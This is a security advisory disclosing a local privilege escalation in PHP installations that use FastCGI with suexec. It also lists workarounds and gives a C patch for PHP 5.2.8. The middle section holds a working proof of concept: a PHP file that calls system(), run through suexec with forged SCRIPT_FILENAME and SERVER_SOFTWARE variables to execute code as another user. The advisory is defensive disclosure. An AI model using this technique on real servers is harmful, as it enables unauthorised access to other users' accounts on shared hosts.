Local vulnerability in suexec + FastCGI + PHP configurations

[security.432@xxxxxxxx]

DISCLAIMER: THIS SECURITY ADVISORY IS PROVIDED AS-IS, AND WITHOUT ANY GUARANTEE 
OF ANY KIND THAT THE INFORMATION IS ACCURATE, OR THAT THE WORKAROUND, 
SOLUTIONS, OR PATCHES PROVIDED WILL PROTECT SYSTEMS, OR THAT THEY WILL NOT 
CREATE NEW PROBLEMS. THE AUTHOR ACCEPTS NO LIABILITY OF ANY FORM FOR THE 
INFORMATION CONTAINED WITHIN OR THE CONSEQUENCES OF ITS USE OR MISUSE.

Synopsis:
  Most current installations of PHP set up to run via FastCGI with suexec are 
vulnerable to a local exploit, where anyone with the ability to run code as the 
user the webserver runs as can gain access as any user with an account set up 
to run PHP. It is anticipated that this issue will especially affect shared web 
hosts who use FastCGI + suexec thinking it will give them additional security.

Conditions for exploitation:
  => PHP needs to be used via CGI or FastCGI.
  => The system must be set up to use suexec (rather than, say, having PHP run 
as an external FastCGI server).
  => The attacker must be able to run code as the same user that the webserver 
runs as. This is unlikely to be a problem for many local attackers, because 
there are a multitude of possible attack vectors, such as SSI, non-suexec CGI 
scripts, non-suexec PHP (if mod_php is also installed), and likely numerous 
other options.
  => Depending on the configuration, setting an open_basedir might protect an 
installation. However, this only applies if open_basedir is set, php-cgi is not 
installed directly into the web space, but is instead called from a script 
which doesn't pass any parameters from the script command line.

Affected PHP versions:
  => All versions of PHP (including PHP 5.2.8 and latest CVS) in existence at 
the date of this advisory are believed to be affected.

Vendor notification:
  security@xxxxxxx has been informed of this issue. Antony Dovegal replied to 
say:
     "It's been agreed that we won't implement any more security hacks in PHP 
itself since such things should be done by the OS, so no more magic INI 
settings."
  As such, it appears that the PHP developers do not intend to add any 
technical measures against this vulnerability. It should be noted that while 
this is a vulnerability in a way of installing PHP, it appears that there is no 
way to securely set up a suexec + FastCGI + PHP installation using an unpatched 
version of PHP and so it is hoped that the PHP developers will reconsider in 
time.

Work-arounds:
  A proposed patch is provided later which can be applied to PHP to protect 
against this vulnerability (when coupled with an appropriate configuration). 
This patch has been briefly tested to ensure it works, but requires more 
testing and review before it should be used in production. No guarantees are 
made about it.

  Using a permanently running external FastCGI process per user is an 
alternative solution if the cost of these extra processes is tolerable.

  Setting open_basedir from within php.ini may be a possible workaround (but 
only if nowhere in open_basedir is writable to the attacker), but only if PHP 
is called from a script which also sets SERVER_SOFTWARE and doesn't pass 
through the command line arguments. For example:
#!/bin/bash
export SERVER_SOFTWARE=blah
/usr/bin/php-cgi -c /home/myuser/php.ini

Technical details of attack:
  PHP does not place any restrictions on what it will run, even when called 
from suexec. This means that by manipulating the environment variables passed 
in to php-cgi when calling via suexec, an attacker can execute arbitrary PHP 
scripts with the user of the owner of the PHP script (and if SERVER_SOFTWARE is 
not set, can also pass in PHP code to be executed via stdin).

 The filtering of environment variables by suexec does not protect against this 
attack, because the environment variables needed to perform the attack are 
passed through suexec. Likewise, setting doc_root and user_dir in php.ini (as 
recommended in the security section of the PHP manual) provides no protection, 
as the attacker has full control of environments indicating the base directory.

Example of exploitation:
  Suppose that suexec php is set up as follows:
In /home/wwjargon/public_html/php.fcgi we have:
#!/bin/bash
/usr/bin/php-cgi -c /home/wwjargon/php.ini

In .htaccess we have:
Action php-fcgi /php.fcgi
AddHandler php-fcgi .php

This is a fairly common set up. It can be exploited as follows (www-data is the 
username the webserver runs as):

$ whoami
www-data
$ cat >/tmp/exploit.php
<?php system("whoami");
$ cd /home/wwjargon/public_html/
$ SCRIPT_FILENAME=/tmp/exploit.php SERVER_SOFTWARE=blah /usr/lib/apache2/suexec 
"~wwjargon" wwjargon php.fcgi
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-type: text/html

wwjargon

Patch for PHP to provide protection:
  This patch has been briefly tested to ensure it works, but requires more 
testing and review before it should be used in production. No guarantees are 
made about it.

diff -rbud ./php-5.2.8-orig/sapi/cgi/cgi_main.c ./php-5.2.8/sapi/cgi/cgi_main.c
--- ./php-5.2.8-orig/sapi/cgi/cgi_main.c        2009-02-10 21:37:09.000000000 
+1300
+++ ./php-5.2.8/sapi/cgi/cgi_main.c     2009-02-11 00:07:51.000000000 +1300
@@ -67,6 +67,9 @@
 #include <fcntl.h>
 #include "win32/php_registry.h"
 #endif
+#ifdef HAVE_PWD_H
+#include <pwd.h>
+#endif
 
 #ifdef __riscos__
 #include <unixlib/local.h>
@@ -170,6 +173,10 @@
        zend_bool impersonate;
 # endif
 #endif
+#ifdef HAVE_PWD_H
+    char* suexec_base_dir;
+    char* suexec_user_dir;
+#endif
 } php_cgi_globals_struct;
 
 #ifdef ZTS
@@ -1232,6 +1239,10 @@
        STD_PHP_INI_ENTRY("fastcgi.impersonate",     "0",  PHP_INI_SYSTEM, 
OnUpdateBool,   impersonate, php_cgi_globals_struct, php_cgi_globals)
 # endif
 #endif
+#ifdef HAVE_PWD_H
+    STD_PHP_INI_ENTRY("cgi.suexec_base_dir",     NULL, PHP_INI_SYSTEM, 
OnUpdateString, suexec_base_dir, php_cgi_globals_struct, php_cgi_globals)
+    STD_PHP_INI_ENTRY("cgi.suexec_user_dir",     NULL, PHP_INI_SYSTEM, 
OnUpdateString, suexec_user_dir, php_cgi_globals_struct, php_cgi_globals)
+#endif
 PHP_INI_END()
 
 /* {{{ php_cgi_globals_ctor
@@ -1254,6 +1265,10 @@
        php_cgi_globals->impersonate = 0;
 # endif
 #endif
+#ifdef HAVE_PWD_H
+    php_cgi_globals->suexec_base_dir = NULL;
+    php_cgi_globals->suexec_user_dir = NULL;
+#endif
 }
 /* }}} */
 
@@ -1708,6 +1723,10 @@
 #if PHP_FASTCGI
                        && !fastcgi
 #endif
+#ifdef HAVE_PWD_H
+            && CGIG(suexec_base_dir) == NULL
+            && CGIG(suexec_user_dir) == NULL
+#endif
                ) {
                        while ((c = php_getopt(argc, argv, OPTIONS, 
&php_optarg, &php_optind, 0)) != -1) {
                                switch (c) {
@@ -1884,6 +1903,10 @@
 #if PHP_FASTCGI
                        || fastcgi
 #endif
+#ifdef HAVE_PWD_H
+            || CGIG(suexec_base_dir) != NULL
+            || CGIG(suexec_user_dir) != NULL
+#endif
                )
                {
                        file_handle.type = ZEND_HANDLE_FILENAME;
@@ -1922,9 +1945,49 @@
                */
                retval = FAILURE;
                if (cgi || SG(request_info).path_translated) {
+#ifdef HAVE_PWD_H
+            zend_bool path_ok = !(CGIG(suexec_base_dir) ||
+                                  CGIG(suexec_user_dir));
+            if (!path_ok && SG(request_info).path_translated)
+            {
+                struct stat statbuf;
+                char *real_path = 
tsrm_realpath(SG(request_info).path_translated, NULL TSRMLS_CC);
+
+                virtual_stat(SG(request_info).path_translated, &statbuf 
TSRMLS_CC);
+                /* Only execute if the script is owned by the current user,
+                 * the user execute bit is set, and it is not group or world
+                 * writable.
+                 */
+                if (statbuf.st_uid == geteuid() &&
+                    (statbuf.st_mode & 0100) == 0100 &&
+                    (statbuf.st_mode & 022) == 0) {
+                    if (CGIG(suexec_base_dir) && !strncmp(real_path, 
CGIG(suexec_base_dir), strlen(CGIG(suexec_base_dir)))) {
+                        path_ok = 1;
+                    }
+                    if (!path_ok && CGIG(suexec_user_dir)) {
+                        struct passwd* pw = getpwuid(geteuid());
+                        size_t len = strlen(pw->pw_dir) + 1 + 
strlen(CGIG(suexec_user_dir)) + 2;
+                        char * user_dir = malloc(len);
+                        strcpy(user_dir, pw->pw_dir);
+                        strlcat(user_dir, "/", len);
+                        strlcat(user_dir, CGIG(suexec_user_dir), len);
+                        strlcat(user_dir, "/", len);
+                        if (!strncmp(real_path, user_dir, len - 1))
+                            path_ok = 1;
+                        free(user_dir);
+                    }
+                    free(real_path);
+                }
+            }
+
+            if (path_ok) {
+#endif
                        if 
(!php_check_open_basedir(SG(request_info).path_translated TSRMLS_CC)) {
                                retval = php_fopen_primary_script(&file_handle 
TSRMLS_CC);
                        }
+#ifdef HAVE_PWD_H
+            }
+#endif
                }
                /* 
                        if we are unable to open path_translated and we are not

Usage of the patch:
  => Apply to PHP 5.2.8 and rebuild and install php-cgi.
  => Replace the scripts in the web directory with a script like:
#!/bin/bash
/usr/bin/php-cgi -c /etc/php.ini

  Then in php.ini, you have two new configuration options:
cgi.suexec_base_dir
cgi.suexec_user_dir

  If either of these directives are set, extra security checks are enabled. If 
both are set, the security checks for one or the other of the directives must 
pass.

  cgi.suexec_base_dir restricts script execution to paths starting with the 
directive (include a trailing slash if you don't want it to be used as a 
prefix).

  cgi.suexec_user_dir gives a path relative to the users home directory where 
PHP will execute code from.

  In addition, any PHP scripts to be executed must be owned by the same user, 
have the execute bit set, and not be group or world writable.